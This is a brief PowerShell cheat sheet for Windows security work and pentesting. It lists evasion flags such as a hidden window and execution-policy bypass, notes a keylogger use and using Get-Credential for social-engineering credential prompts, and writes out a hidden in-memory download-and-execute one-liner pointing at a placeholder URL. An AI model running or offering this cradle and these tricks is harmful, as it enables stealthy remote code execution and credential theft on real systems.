powershell.md 1.2 KB


title: Powershell Windows (Security-) Administration categories: [cheatsheets]

tags: [security, windows]

Powershell

1) powershell.exe Parameter:

-Exec Bypass    // allows the execution of scripts
-NoP            // NoProfile - keep same/standard environment
-NonI           // Non Interactive Mode -> No Promt, just execution of the commands
-W Hidden       // Hide the Window
-noexit         // Keeps the shell open (good for keyloggers etc)
-Command        // Execute a command

2) Use the powershell to get information about the system

Get-Hotfix      // checks windows patches
Get-Service     // print all services
Get-Process     // print all processes
Get-Credentials // Nice login field for social engineering

3) Load scripts from webserver and execute them (inline and in-memory)

powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command IEX (New-Object Net.WebClient).DownloadString('http://URL/script.ps1');

Important:

-> Never use a unknown code from the internet for a client!

4) Some powershell scripts for pentesters